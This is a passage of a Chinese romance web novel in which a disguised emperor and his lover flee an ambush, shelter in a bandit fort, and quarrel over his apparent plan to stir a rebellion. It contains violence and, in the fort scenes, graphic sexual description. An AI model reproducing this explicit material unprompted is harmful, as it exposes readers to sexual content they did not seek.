仆婢和护院面面相觑,怎么大小姐突然就疯疯癫癫的? 那这人……还抓吗? “愣着做什么?动手啊!” 赵漫仪崩溃一瞬后,忙下令呵斥,她了解赵清仪,对方最喜杀人诛心,就想看她一蹶不振,可事已至此,再痛苦也无法挽回姨娘的性命。 她只好拿赵清仪,血祭她的姨娘! 就在护院动手的刹那间,一直在罗汉榻上昏睡的楚元河倏地睁开眼,潋滟的桃花眼掠过一丝寒芒,他迅速将人护在怀里,几番拳脚便将护院仆婢踹倒在地。 赵漫仪惶恐后退,难以置信地盯着他,他不是被下药了吗?怎么会…… 赵清仪亦是惊诧,敢情这家伙是在装晕!亏她先前还担惊受怕的。 赵漫仪见势不妙,转身欲逃,却被急速赶来的县衙官兵堵住去路,带着者赫然是县丞周珣。 “来人,将这帮欲行刺大人的贼子拿下!” 见到周珣,赵清仪彻底松了口气,先前她用言语刺激赵漫仪就是为了拖延时间,盼着周县丞快些赶来救人。 楚元河直觉不对,剑眉微蹙,上回来这,他分明记得庄子周遭均有侍卫把守,周县丞又是如何带着十几号衙役闯进来的? 不等他问出口,江员外的笑声由远及近,随之而来的是浩浩荡荡足有近百人的侍卫,从院子四角的月洞门鱼贯而入,顷刻将周县丞在内的所有人包围起来。 周县丞下意识将楚元河护在身后,“大人先走!” 江员外哈哈大笑,快步行至人前,“今日来的,一个都走不了!” “爹!”赵漫仪欣喜不已,慌忙躲到他身后,催促他快些捉了这些人。 赵清仪看着近百名训练有素的侍卫,心生疑惑,“前院还有那么多宾客,江家一介商贾,竟如此大动干戈,不怕留下把柄吗?” 这也太明目张胆了些。 楚元河将她紧紧护在怀里,眉眼皆是冷肃,“他们是岐王的亲卫。” 岐王出面了,只能说明前院的宾客早与江家、与岐王串通一气,若是有人胆敢出卖江家,就是与岐王为敌。 他们是江浙一带的官员,谁都不敢得罪岐王这位土皇帝。 “平西郡王当真好眼力,不愧是陪陛下征战多年的猛将。” 听他点破侍卫的身份,江员外依旧面容和煦,“若是早些知晓郡王身份,或许你我还有转圜的余地,只可惜……郡王如今知道得太多,在下可不敢让您活着离开钱塘。” 在场众人,唯有周县丞和十几个衙役云里雾里。 平西郡王? 他们的县令元大人,居然是平西郡王! 那可是皇亲国戚!江家怎么敢杀皇亲国戚! “周珣。”楚元河冷不丁唤了一声,尚在震惊中的周县丞忙要跪地。 楚元河只给了他一个眼神,“今日所见所闻,你可记清楚了?回头事无巨细写成奏疏送往上京,办好了,记你大功一件。”又吩咐衙役全力保护周县丞,带他离开江家。 这些人原本是来保护楚元河的,但得知了楚元河的身份,便不约而同护在周县丞身边,比起征战沙场的郡王,还是周县丞更需要保护,再者,护卫周县丞办好差事,那也算大功一件。 楚元河话音刚落,便有几个暗卫凭空出现,散在楚元河四方形成拱卫之势。 “害怕吗?”紧要关头,他语气还是那般漫不经心。 从他佯醉那一刻起,赵清仪便相信他早有布局,摇了摇头。 这种不问缘由的信任,无疑取悦了楚元河,温热的掌心轻轻覆住她的双眼,“那就闭眼,什么也别管。” 下一刻,他随手捡起一把刀,与江员外带来的岐王亲卫厮杀起来。 周县丞趁乱出逃,在衙役的保护出了庄子,外头正好还有两名暗卫接应,一看到周县丞,便将人丢到马背上,栽着他疾驰而去。 后院乱作一团,刀剑激烈碰撞发出刺耳的刮擦声,利器刺入骨肉的闷响亦是令人头皮发麻,周遭迅速弥漫着血腥气。 江员外起初还很得意,但眼看着岐王的亲卫一个接一个倒下,对面就跟砍瓜切菜似的,一路势如破竹,他脸上再没了成竹在胸的笑,当机立断推着女儿跑。 赵漫仪早就气红了眼,看着被人护在怀里的赵清仪,她恨不得立刻冲上去撕碎对方。 她不能错失良机,错过这次,或许真的再没有报仇的机会了。 赵漫仪脑中充斥着杀念,霍然挣脱江员外的阻拦,捡起掉落在地的一只连弩,对准赵清仪猛地扣动悬刀,弩箭急射而出。 混战中的楚元河听到破风声立即转身躲避,弩箭却依旧朝着赵清仪的面门而去。 楚元河几乎是本能地抬手阻挡,弩箭瞬间划破他的掌心,带起一串血珠,他的身影也快速向后掠去,缓冲之下,终于握停了那支弩箭。 看到那染了鲜血,近在咫尺的箭头,赵清仪后背一阵冷汗。 而这弩箭显然触及了楚元河的逆鳞,他面色陡沉,调转箭头方向朝赵漫仪狠狠刺去。 “漫儿!” 江员外目眦欲裂,推开女儿之际,弩箭顷刻没入他的后心,他闷哼一声,看着惊慌无措的赵漫仪,终是缓缓倒地,气绝身亡。 江员外的死并未阻止岐王亲卫的行动,他们仍是我行我素,执意要将楚元河的性命留下。 楚元河抱着赵清仪,在一众围剿中硬生生杀出一条血路,饶是他的暗卫训练有素,也架不住对方人多势众,撕出一道口子后,几人便匆忙朝预先安排的路线逃离。 岐王亲卫紧追不舍,庄子上下鸡犬不宁,前院的宾客听到动静压根不敢出去,全都龟缩在宴厅里,待岐王亲卫追出去后,才敢转去后院查探情况。 看到已然身死的江员外,杜知府大惊失色,他们来参加认亲宴的,此刻见到跪在江员外尸首旁痛哭的赵漫仪,约莫猜到她的身份,温声询问发生了何事。 赵漫仪去了面纱,一张小脸因为憎恨变得狰狞扭曲,尖声控诉道,“是平西郡王!平西郡王杀了我爹!各位叔伯,你们素来与我爹有交情,如今我爹遭遇不测,你们千万要替我爹做主啊!” 都是官场沉浮的老姜,三言两语便料到事情全貌,没想到区区一个钱塘县令,竟是平西郡王假扮的,关键是人还逃了! 万一平西郡王把事情捅到上京,那他们这些前来赴宴的官员有一个算一个,全得捉拿下狱,关乎身家性命,杜知府不敢耽搁,赶紧催促下人去禀报岐王。 为今之计,只能寄希望于岐王,既然动手了,索性一不做二不休。 岐王的耳目遍布钱塘,消息传到后,即刻有亲卫出面挨家挨户搜查,更是派出了心腹幕僚前往江家庄子善后。 李彻一袭黑色斗篷包裹得严严实实,只露出一双幽深死寂的眼眸,到了庄子,只淡淡扫了一眼江员外的尸首,便让人将其入殓下葬。 赵漫仪闯了进去,亲卫纷纷拔刀,以为她要对李彻不利,不料她却是扑通跪地,冲着李彻的背影恳求道,“这位大人,求你让我见岐王殿下一面,我有一计,可引平西郡王和赵清仪主动现身!” 她的声音,于李彻而言再熟悉不过,毕竟是上辈子相伴了二十年的枕边人。 若是从前的李彻,定然会愤怒发疯,恨不能杀她后快,可现在的李彻是从前世而来,他的眼里,已经没有赵漫仪了。 李彻缓缓转过身,阴沉的眼眸凝在她身上。 赵清仪察觉眼前的人转了过来,不由颤巍巍地抬起眼皮,四目相对,她的心脏猛然一跳,觉得那双眼睛熟悉,又陌生。 李彻却毫无波澜,尤其看到赵漫仪脸上的疤痕,眼底更是透着隐隐的厌恶,“想见殿下,你还不够格。” 赵漫仪盘算的无非是利用孟嘉文,她能想到的事,李彻如何想不到? 又有亲卫禀报说,出逃的除了平西郡王还有县丞周珣,他得了郡王吩咐逃往上京通风报信去了。 李彻当即带着一队人马前去追踪,掠过赵漫仪时连一个眼神都没留下,头也不回地走了。 周县丞是正儿八经的读书人,身骨文弱,骑马又不快,被暗卫扛在马背上,一路风驰电掣,被颠得七荤八素直呕酸水,好几回拍打暗卫的大腿要求下马歇息。 暗卫一脸淡定地让他往后看。 这一看可把周县丞吓坏了,暗夜里,一队黑衣人手持砍刀在后面穷追不舍,他立时身上不疼了,也不想吐了,催促暗卫再快些,能否将消息送往上京,全看这一次了。 岐王亲卫几乎遍布整个钱塘,楚元河带着赵清仪,朝相反的方向奔逃,身下的踏雪几乎快成残影。 赵清仪也被颠得不轻,直到踏雪闯入密林,借着树丛掩蔽总算甩掉后头的尾巴。 彼时已是月明星稀,万籁俱寂,人与马都跑累了,楚元河才肯停下。 赵清仪的心脏犹狂跳不止,她这辈子的惊心动魄全贡献给身后的男人了。 楚元河感受到她的心跳,喘着气笑道,“其实这种体验也还不错。” “……比起我从前的日子,那确实是刺激许多。” 赵清仪接完话试图下马,才发觉自己根本走不动路,跨坐在马上的两条腿磨得异常疼痛。 楚元河听到她倒吸冷气的声音,心下了然,“磨疼了?我瞧瞧。” 他将她抱下来,赵清仪脸色微微发白,因为疼痛,光洁的额面布满细汗。 过去她也曾练习骑射,不过仅作玩乐,还从未如此狼狈的逃命,一跑就是个把时辰,以她的体质根本承受不住。 楚元河牵马行至溪边,寻了块光滑的石面,将外衫脱下铺好,小心翼翼地扶她坐下。 赵清仪刚坐好,便觉裙下生风,赶紧捂住他的手打断他接下来的动作,“别看,这荒郊野岭的……” “就是因为荒郊野岭,没人。”楚元河从怀里取出一瓶伤药,“我给你上药,很正经的。” “……你若不刻意强调,兴许我会信你。” 赵清仪还是不肯,警惕地望向四周问道,“对了,跟着我们的不是还有几个暗卫吗?” “甩了。”楚元河语气轻飘飘的,“踏雪乃神驹,战马都比不上它的速度,更遑论普通马匹。” 暗卫要追上,且寻到此等隐蔽之处,估摸得小半个时辰。 说到踏雪,赵清仪心生疑惑,“踏雪不是陛下的吗?怎么会出现在这里,还被你……” 她越想越觉奇怪,纵然陛下与楚元河是堂兄弟,也远没有亲近到可以分享自己的爱驹吧?那不仅仅是一匹马,而是象征着至高无上的皇权。 “西北一统,四海升平,已无须陛下亲自征战,这踏雪自然就无用武之地了,反正它闲下来也无所事事,我们此行诸多凶险,我便向陛下借来一用,你看,今日不就派上用场了。” 楚元河的解释勉强说得过去,赵清仪打消了疑虑,又问踏雪是何时跟来的,他一一作答,滴水不漏。 答完,楚元河已将她的绸裤褪下,有裙摆做遮掩,倒也不算难堪,但赵清仪还是红了脸,见他打湿手帕探进来,赶紧阻止。 “你的手也伤着,顾好你自己就行。”她将手帕搁置一旁,示意楚元河先给他自己上药。 楚元河摊开掌心,新添的伤痕几乎与数年前的旧伤重叠,血已止住,只是没包扎,瞧着吓人罢了,他随意上了金疮药,用丝带简单缠绕两圈,又拿过湿帕继续为赵清仪擦拭。 赵清仪很想自己来,无奈伤处隐秘,动辄便疼,她反倒不好自己来,只能红着脸由旁人代劳。 楚元河慢慢卷起她的裙摆。 她本就肌肤细嫩,白皙胜雪,往日那细腿一掐便能泛起一圈红晕,如今添了擦伤,嫣红得格外刺眼。 借着月色看清伤势后,楚元河眸色阴郁,歉疚道,“……是我顾虑不周。” 其实也有更稳妥的解决办法,能将身份藏得久一些,他却习惯快刀斩乱麻,只想尽快了结此地事宜,忽略了赵清仪本质上就是个娇娇弱弱的闺阁小姐。 “路上疼,怎么也不说一声?”楚元河为她上药,满脸心疼。 饶是那种时候,他都不曾伤她至此。 赵清仪咬唇,尽量不让自己哼出声来,火辣辣的疼痛却是逼出了两滴眼泪,“那情形剑拔弩张,你死我活的,我哪里顾得上这些……你好了没有?” 他逗留太久,多少令她不自在。 楚元河收回了旖旎的心思,上完药后为她重整裙摆,至于那绸裤,断然是穿不了的,穿回去,万一黏住伤口,不利休养。 “放心,我守着你。”知道她脸皮薄,还特意安慰了一句,“谁敢偷看,我戳瞎他双眼。” 赵清仪本就所剩无几的羞耻心,在与楚元河的日常相处中消磨殆尽了,她双手团住裙摆,恨不能将两只白皙的小脚也藏起来,时不时用幽怨的眼神瞪他。 楚元河借着收拾东西的空隙,将方才为她上药时惹起的火压下去,一转头就见她蜷成一团,一双眼睛因着羞赧,正湿.漉漉地盯着自己。 他登时眉心一跳,语气不自觉沉下,“那儿还伤着,你就敢勾.引我?” “……?”赵清仪大为震惊。 她明明什么都没做,他又胡言乱语什么呢。 “那你何故如此看我?”楚元河觉得就是她的问题,于是凑过去亲了亲她的唇角,“你这眼神,不是要我的意思?” 赵清仪躲了一下,也不是不给亲,是有必要为自己辩解两句,“我那就是正常的眼神……” “你又看不见,如何知晓自己是什么眼神?”他话音一顿,想到什么,幽幽道,“……下回我找个有铜镜的地方,让你自个儿好好瞧瞧。” 这就有点无理取闹了。 “你应该反省己身,整日都在想什么东西。” 赵清仪嗔他一眼,为他脑子里的东西感到不齿。 “除了想……你,还能想什么?” 突如其来的情话,又一次让赵清仪脸红心跳,她眼睫颤了颤,强迫自己的视线从他俊逸的脸庞挪开。 相处久了,如何逗弄她楚元河是手到擒来,当下便环住她的细腰吻了上去。 赵清仪还陷在他的情话里害羞呢,根本无力抗拒。 他又贴得更近了,将她抵在树干上。 迷迷糊糊间,裙摆又入了细风,赵清仪隐隐觉得事态不该如此发展,颤声提醒道,“我们还在逃命呢……” “我知道。”他薄喘着,暧昧的气息缠绕在她耳廓上,特意避开她的伤处,轻柔试探,“放松,别那么紧……张……” 虽是宽慰,语气里全是轻佻的笑意,她可真不经逗弄。 赵清仪完全放松不了,一颗心几乎悬到嗓子眼,紧紧扶着他的胳膊,指尖几乎要嵌进他的筋骨里,俨然一副泫然欲泣的姿态。 逗了片刻,楚元河稍稍拉出距离,只叹此刻她伤着,他的正主是无福消受了,只能将情愫尽数转到她唇上。 后半夜,赵清仪实在困乏,渐渐睡了过去,追兵竟没寻到他们,暗卫也不知去了何处。 对未知的不安令她再度转醒,这还是她头一回在荒郊野外过夜,好在有楚元河守着她。 她半睁着朦胧的睡眼,看着天际一点鱼肚白,“我们接下来去哪儿?” “往东十里有个黑风寨,寨子里的人穷凶极恶,当地官府不敢招惹。”楚元河总是醒得比她早,说话的功夫已经帮她检查过伤势,抹了药,又隔了一夜,伤势已然好转,便为她套上绸裤,小心翼翼地将她抱上马。 马鞍上铺了一层衣裳,楚元河又放缓了速度,倒是不如昨日磨得那般疼了。 赵清仪再次折服于他的体贴周到,忍不住又问,“你说黑风寨的人穷凶极恶,我们去了,岂不是自讨苦吃?” 岐王派出的追兵都够她们喝一壶了,再来一帮山匪…… “那有什么,咱们就来一回占山为王。”这种事情楚元河经常干,当初在西北收服三十六部族时,他就没少被人骂作土匪。 赵清仪不明所以,等她到了黑风寨方知楚元河话里的意思。 还真是占山为王。 昨日没跟上的几个暗卫就立在山门前,寨子里歪七扭八倒了一地的人,个个捂着伤处哀嚎连连。 一个身挂虎皮的络腮胡大汉,热情洋溢地奔出来,“大当家,您来啦,见过大当家,见过夫人。” 他一出来,寨子里其他人也撑着伤痛跪地齐声高呼,“见过大当家,见过夫人。” 赵清仪:“……”顿觉先前的担忧十分多余。 “大当家和夫人肯定累坏了,快进屋歇息,这屋里都收拾妥当了。”大汉笑容谄媚,若非他额上有个刀疤,真看不出这人是曾经的黑风寨寨主。 楚元河抱着赵清仪径直入屋。 暗卫晓得两位主子喜洁,屋里不仅一尘不染,窗前的贵妃榻还设了一张雕花茶几,青花松竹梅纹香炉里散着袅袅青烟。 赵清仪讶然,“这真是土匪窝?” “时间仓促,准备得略显粗陋,你且将就一二。”楚元河将她放入床帐里,柔声道,“你好好休息,我出去交代点事。” 赵清仪存了满腹疑惑,到底没在此时问出口。 天色将暗楚元河方折返回来,与她解释黑风寨的来由,“寨主曹虎乃行伍出身,曾是我……陛下麾下的一员猛将,六七年前卷入军饷贪墨案,为脱身不得不落草为寇,而当年主导贪墨案的幕后之人,极有可能就是岐王,曹虎便索性潜伏此地,静待时机。” “原来如此。”听闻是行伍中人,还曾跟过陛下,赵清仪便没那么害怕了,“那这曹虎与你岂非旧相识?” 楚元河颔首道,“算是吧,昨夜暗卫来通知曹虎,结果寨子里新收的几个弟兄不长眼,便起了点小小的冲突,不算什么大事,之后一段时日,恐怕要委屈你住在这儿,要什么缺什么,尽管向他们开口便是。” “那我表哥怎么办?” 赵清仪还记得离开时,赵漫仪那个阴毒的眼神。 她认出了自己,必然会想到利用表哥孟嘉文牵制她,逼她现身,一直躲在黑风寨里不是长久之计。 “放心吧,这天底下还没有我兜不住的事。”楚元河抚过她汗湿的鬓发,轻笑道,“已经安排好了,钱塘……很快就会乱起来,届时他们自身难保,谁还顾得上你表哥?” 只要岐王他们腾不出手,孟嘉文在牢里就是安全的,只待此间事了,就会还他自由。 赵清仪看着面前熟悉的脸,越发看不透他的心思,“你只是一个郡王,封地又不在这,究竟哪儿来的底气?” 人人都要顾及岐王在浙江、尤其在钱塘的势力,楚元河即便有陛下保着,可远水难解近火,光凭一个黑风寨和不到十名暗卫,他如何对抗拥有近万亲卫的岐王? 这些时日发生太多事,赵清仪一直来不及捋清这一切,可方才她想了很久,觉得楚元河处处透着古怪。 他太镇定,太从容了,仿佛一切皆在掌控之中。 他还有什么底牌是她不知道的? 除了踏雪,还有江家庄子那次,他明明被下了药,他又如何躲开那一劫?莫非,那庄子里侍奉的仆婢小厮,也有他的人? 秉持着坦诚相待,赵清仪将自己的疑问一股脑抛出来,质问他到底还隐瞒了什么。 楚元河被她质问得措手不及,一时竟不知该从何处解释。 莫非……她起疑心了? 可眼下还不是坦白的最佳时机。 在她清亮杏眸的注视下,那张似仙似妖的俊脸,突然毫无预兆地染上两抹绯红。 赵清仪端肃的小脸一变,担忧地扶着他,“你怎么了?” 楚元河艰难地摇了摇头,面上却是越来越热,呼吸也愈发沉重。 这情形,她再熟悉不过。 “你……” “般般,我、我好像真的中毒了……” 楚元河难以克制地扑向赵清仪,将她压在身下,气喘道,“我内力深厚,所以在江家时没发作出来,如今……怕是……怕是撑不住了……” 所有疑问顿时抛之脑后。 赵清仪只担忧他的身子,“这怎么办?我去给你找郎中?” 她不懂医理,看不出楚元河是哪里出了问题,当下就要起身出去,被他用力攥住手腕,重新按倒。 “般般,我好难受……”他脖子发红,桃花眼底尽是晦色。 “到底哪里难受?你别吓我……” 他脸色着实不对,赵清仪没多想,真以为是中了毒,直到他坚实的筋骨抵住她。 她的脸颊腾地烧红,“楚元河你……你又戏弄我!” 她顾着羞,完全忘了追问先前的话题,楚元河暗暗松口气,引着她的小手,歪在她脖颈间无奈叹息。 “如此实在的证据,你还觉得我在戏弄你?” 第76章 第76章这样也能舒服?…… 赵清仪眸中水光潋滟,无措的模样可怜又勾人心魄。 楚元河怕伤到她,撑起身子没再与她厮磨,不料却是她不肯放手,还紧紧握着。 他倒吸一口凉气,声音发颤,“般般……” “我帮你吧……” 赵清仪还是心软了,不忍见他难受,又小心翼翼确认一遍,“是……那种毒吗?” 这点她倒没有疑心,毕竟江家确实有心下药,可若郡王殒命,上头必会追究,即便抓了闹事百*姓顶罪,江家也难逃干系。 但若是下了那种污.秽之药…… 那药不害人性命,却能祸乱心智,若楚元河因药性催发坏了江家女儿清白,江家就成了占据高位的一方,进可搏个郡王妃之位,退也可以名声要挟楚元河向江家妥协。 赵清仪坐起身,将他引入床帐内。 她如此乖巧,反而让楚元河生出几分羞愧,“你就没想过,万一我在骗你?” 江家给他下的是软筋散,不过庄子里有他收买的仆人,是以到他手里的酒水早就换过了。 要说中毒……中了她的毒算么? 连他自己都不清楚,为何一近她的身便情难自禁,越亲密越上瘾。 他眼神愈发深邃专注,凝视着她雪白的小脸,到底不忍以此相欺,他瞒她的事情已经够多了。 “逗你的,没中毒。”楚元河轻轻拂开她的手,将她圈在怀里,“只是见了你,情不自禁的想……不过你腿还伤着,好好歇着就是。” 赵清仪抬眸望他,眼底亦晕染着浅浅的情愫,“我不想你难受……” 轻飘飘一句话,便击溃了楚元河好不容易拾起的良心。 那烟笼雾罩的水眸渐渐催生出他不敢示人的阴暗,欲念在这短暂的注视间无限蔓延。 楚元河重重叹息,掌心摩挲着她的脸颊,“……般般,你是否太纵着我了?” 赵清仪依旧那副无辜可怜的模样,总能叫他生出欺负她的念头。 “你这样任我予取予求……会惯坏我的。”光是搂着她,吻着她,就足以令他神魂俱颤,她还一味地纵容他,引诱他。 是对他的自制力太有信心了吗? 赵清仪歪头,将半张脸埋入他的掌心,并不否认,“这是你情我愿的事……” 连她自己都不知从何时起的,似乎最初,她仅仅是贪恋他的容色,他的身体,她一直认为,她的心不曾动摇。 她并没有爱上他,只是喜欢与他亲近的滋味。 可时日久了,她好像真的在不知不觉间放纵了他,也放纵了自己的心,情意如覆水难收,她挽回不了。 “楚元河……” 她握着他的大手,轻吻他的掌心,柔声软语道,“我想,我是心悦你的,便是多惯你几分又何妨?” 楚元河不是同样在惯着她,护着她吗? “你想要什么,我都可以给你。”赵清仪神色温柔,声音却很笃定,“而我想要的,是你的坦诚……” 是她选择了信任,选择了等待,等他亲自向她解释。 “只是,不要让我等太久。” 楚元河怔怔地望着她,那丝愧疚在此刻化作薄刃,如她的温言软语,缓缓剜着他的心,酸涩万分。 有那么一刻,他想将一切和盘托出。 可是,她真的能接受他的欺骗吗? 当年随口扯的慌,却是骗了她将近五年。 “般般,对不起……”到底是没有勇气在这个节骨眼坦白,楚元河只能叹息,“等回到上京,一切便能尘埃落定。” 届时她气恼也罢,埋怨也罢,他都认。 只要她不离开他。 赵清仪缓缓垂下眼睫,掩去眸中一闪而过的失望,终究还是没能问出他的底细。 以她的聪慧,她又如何猜不到楚元河是故意转开话题,他有不可告人的秘密。 连她也不能说的秘密。 说不难过的是假的,但想到此间还有许多事,父亲还没找到,表哥又身陷囹圄,她不好在此时与楚元河闹,如此只会拖后腿,让局势变得更糟。 楚元河并未错过她脸上失落的表情,默默在心底又叹了口气,便欲抽身离去。 岂料赵清仪眼疾手快,扣住他的手腕,“你跑什么?” “我没……” 话音未落,女人撑起身子堵住了他的唇,虽是蜻蜓点水,浅尝辄止,却也拨乱了他好不容平复的心绪。 “般般……”他语气无奈,几乎从牙缝里挤出声音,“我顾及你身子不适,你倒好,有恃无恐,反来撩我?” “还是你是觉得,我拿你没辙?” 他不逃了,重新挤入床榻,掌心按在她平坦的小腹处,恶狠狠威胁,“……当心撩拨过了头,怀上我的孩子。” 黑风寨里,同样没有避子汤给她喝。 赵清仪忽略他后半句威胁,怯生生道,“我……可以像之前那样……帮你。”她说到做到,行动很快。 楚元河“嘶”了一声,险些喘不上气,脑中那根紧绷的弦再次岌岌可危。 不过他还是更喜欢做掌控局势的那一方。 楚元河捉住她的手腕,三两下将她剥出来。 赵清仪娇哼一声,软倒进被褥里,惊疑不定地看了眼自己,“你……是不是弄错了?” 要帮忙的是他,解她衣衫做甚。 “看着你,更舒坦些。”楚元河低声轻笑,难言愉悦,如愿看她红透了面颊,方解了自己的,还不忘去看她的伤处。 他心里多少存了丝侥幸,然而腿上的伤隐隐泛红,怕是受不住。 楚元河默默叹息,亲了亲她的唇,便将脸埋在她心间徘徊,低沉的嗓音愈发沉闷,“不劳般般费力,你靠着便好,我自己来。” 他往床头垫了一方软枕,扶她靠上去。 赵清仪有些懵然,刚坐好,双手便在他的摆布下承托住两抹雪团子。 她微微睁大杏眸,这是要做什么? 他握住她的细腕摆弄好,循循善诱,“捧着就行。” 下一瞬,他解了束缚跪行上来,高大的身躯立在她面前,仿若乌云罩顶,有黑龙于雪岭间肆意翻腾,带来强烈的压迫感。 赵清仪垂眸,只一眼便灼疼了双目,羞赧地别过脸。 居然……还能这样…… 楚元河畅快之余,不忘调笑她,“你偷偷藏了避火图就没看过?我瞧着是有这样的。” 一提避火图,赵清仪便头脑发热,驳道,“我没藏,那是……那是……”是张婉琰出嫁当日,不慎塞给她的,但她不好牵扯出旁人。 她支支吾吾的,在楚元河看来与心虚无异,他笑着喟叹出声,扣住她的双肩继续厮磨,游龙戏兔,时隐时现。 热意一寸寸逼近她的脸,呛得她面红耳赤,不知过了多久,她发酸的手腕承受不住力道散落在被褥上,顷刻间雪岭崩塌,玉色颤巍摇曳。 楚元河呼吸一窒。 伴随闷哼,另一抹雪色迸发与之相融。 赵清仪无处躲闪,散射的刹那她下意识闭眼,待那颤抖的眼睫徐徐睁开时,脸上已经沾染了零星的痕迹。 帐中春.色弥漫,气息旖旎。 赵清仪指尖发颤,摸了摸自己的脸,触感黏腻,仿若熔岩溅落,融化了清冷雪色。 楚元河随手团起小衣,为她擦去脸上身上的脏污,见她久久回不过神,便在她白腻的小脸上掐了一把,“吓到了?” 赵清仪回神,茫然地眨眨眼睛,“没……” 只是意外,没想到还有这般多花样,这样也能舒服么? 殊不知她这幅神情在男人看来极具诱惑,方纾解过又隐隐蓄势起来。 楚元河索性拥住她,落下轻柔的吻,掌住她脖颈的大手缓缓安抚着她。 黑风寨里没有婢子,亲密过后,他便出去叫水,服侍赵清仪洗漱完,两人和衣而眠。 赵清仪总算从先前的余韵中缓过来,“如今能告诉我,你接下来作何打算吗?” 楚元河本已准备就寝,闻言清醒过来,于黑暗中对上她的清凌凌的眸子,“方才那般乖巧顺承,就是等着问这个?” 那“牺牲”未免太大。 不过刚尝过甜头,还真不好拒绝她,思忖半晌,只好道,“你可还记得,那日到县衙闹事的百姓?” 赵清仪自然记得,当时楚元河还没把对方当回事,只一味纵着他们闹,“怎么了,你要追究他们的罪责?” “那带头闹事的汉子我查过了,名唤石大锤,原是城南一屠户,因钱塘官员阳奉阴违,借新政行盘剥之实,致百姓生计艰难,石大锤便领着城南百姓聚众反抗。” 赵清仪是去过城南的,都是一帮走投无路的贫民,不免生出几分怜悯,可聚众闹事,公然反对新政,是大逆不道之罪。 “他们也是受了奸佞蒙蔽……”私心里,她不希望皇权与世家的争斗波及平民。 “我知道。”楚元河抱着她,掌心在她单薄的脊背处轻抚,语气轻快说道,“所以我派人与那石大锤交涉,怂恿他揭竿起义,对抗官府。” 赵清仪浑身一僵,不可置信地抬起头,“你……你这是要造反?” 难道,这就是楚元河一直隐藏的秘密? 那真是…… “莫急。”他拍了拍她的背。 可他此刻的安慰根本不起作用,赵清仪哪能不急,造反那可是诛九族的重罪,楚元河究竟在想什么? “难怪你事事不与我细说,敢情你打的竟是……竟是这个主意……你就没想过万一败露……” “没有万一。”楚元河笃定。 他造自己的反,谁来他诛九族? 早在城南百姓围堵县衙,公然反对新政起,他便打定主意将事态闹大,而谋逆,无疑是最有力的导火索,足以令浙江官场陷入动荡,届时便可名正言顺,以平叛之名肃清世家与岐王的势力。 只是这些暂且不能与她坦白。 见她一脸惊恐,楚元河戏谑笑道,“当年陛下害你父亲失踪,你不是还大骂陛下是昏君吗?如今他又害得你父亲失踪,我若为你报复一局,你不高兴?” 赵清仪快急疯了,蹭的从床上坐起,义正辞严道,“我当初是年轻气盛,况且……况且陛下他不是昏君。” 她是骂过,可她不能否认当今陛下的功绩,“他既能马上提枪,亲征西北,换来边境数十年太平,回京之后,又力排众议推行新政,造福百姓……这桩桩件件足可证明,他是一个好皇帝。” 难得从她嘴里听到自己的好话,楚元河按捺不住上扬的嘴角,“还有呢?” 赵清仪又细数了诸多小事,再往近了说,当初她能和离,也多亏陛下圣明,不管是为自己,为赵家,还是为了黎民百姓,她都不赞同楚元河这荒唐的想法。 想到自己心悦之人,竟如此狼子野心,赵清仪便后悔了,这万一东窗事发,凭她和楚元河的关系,必然会连累赵家。 楚元河居然还笑得出来,“我若成事,即刻迎你为后,你也不愿?” “我不愿。”赵清仪斩钉截铁。 “为何?”楚元河不解,“你做了皇后,你父亲便是国丈,一人之下,万人之上……” 诸多利益面前,她为何不动心? “改朝换代无不是踏着百姓和将士的尸骨,可围堵县衙的那帮人充其量就是蛮横些的老百姓,他们受贪官盘剥活不下去,这才冒死闹事,这样的一群人,哪里斗得过皇权?” 他们连江员外这种商贾都对抗不了,怂恿他们起事,与送死何异? 楚元河仍是满不在乎的样子,“不打紧,造反只需借百姓声势,又不一定要他们冲锋陷阵。” 城南百姓需要有人为他们讨回公道,那他就给他们送人,黑风寨的山匪就不错,行伍出身,有两把刷子,一出面,保管让钱塘乃至杭州官府为之头疼。 赵清仪神色彻底冷下,挣开他的怀抱,“你执意如此?” “怎么,害怕了?”楚元河也坐起来,看着空荡荡的怀抱,挑眉反问,“你就不想弄个皇后当当?” “不想。”赵清仪果断拒绝。 楚元河既欢喜,又失望,欢喜的是他没看错人,她并非贪慕权势不择手段之辈,失望的却是她冷漠决绝的态度。 她是真的,对做皇后没有一点想法。 “可我想与你长长久久,永远在一起。” 他不甘心只做她的外室,他要堂堂正正站在她身边。 赵清仪无法理解他在想什么,造反,与他们在一起有什么必然关联? “我们一直都在你身边。”终究不忍他走上歧路,她握住他微凉的手,又放软语气劝了几句。 楚元河敛下黑眸,忽然道,“那你嫁我。” 赵清仪简直不敢相信自己的耳朵,他是拿造反,拿自己的身家性命逼婚吗? 楚元河神色认真,“只要你肯嫁我,我什么都听你的。” 赵清仪一时语塞,又气又想笑,“你不觉这样太胡闹了吗?” 紧绷的神经却松懈下来,相处这么久,对他的性子也算了解,当下便明白过来,楚元河是在开玩笑,或许…… 也有试探的她的意味。 替他自己试探她,也是替陛下试探赵家。 帝王多疑,她能理解,可楚元河又凭什么来疑心她呢? 这让赵清仪松口气的同时,生出一丝微妙的不悦,她瞪他一眼,甩开他的手,翻身躺了回去。 楚元河察觉出她情绪有异,也忙钻进被褥里,从后面紧紧抱着她,“好了好了,都是我的错,我不该拿如此大事来吓唬你,那些话,你只当是玩笑即可……唯有一句,我想娶你是真。” 他看出来了,赵清仪对母仪天下并无想法,既如此,那便做他的妻,一样的。 他有直觉,错过这次机会,再开口就不知要等到猴年马月去,得抓紧时机,尽快定下。 赵清仪是信守承诺之人,只要定下,她就跑不了,届时他再坦白一切,她也只能做他的皇后,做他的妻。 赵清仪还在生气,胳膊肘甩开他,让他别碰。 “般般……” 楚元河不依不饶地缠上去,“我以后再不开这种玩笑,你别生气了……我只是害怕……” 他语气渐渐弱了下来,委屈巴巴地说,“我害怕有朝一日,你会厌弃我,又寻别的男人做你外室……但你若肯下嫁,那我便不会胡思乱想了……” 赵清仪不吃他这套,冷哼一声,“我便是嫁你又能如何,我是不能找外室了,可又不影响你纳妾。” 她又不傻,同样的坑,她栽过李家一次,又岂会栽第二次? 婚姻于女子而言,只有束缚。 “你要是想娶妻,你去寻旁人,别来找我。”一气之下,赵清仪放出狠话。 楚元河浑身一僵,那一瞬,仿佛连呼吸的本能都失去了,待缓过气来,喉头如同被什么堵住,沉甸甸地直往心口压,酸涩难当。 他不想表露异样,可环住她腰肢的臂膀却在隐隐颤抖,出卖了他的不安。 赵清仪背对着他,看不到他的神情,却能感觉到他的沉默惶恐。 她似乎才意识到,那句话说得太重。 饶是上回闹别扭,她都不曾说过如此决绝之语。 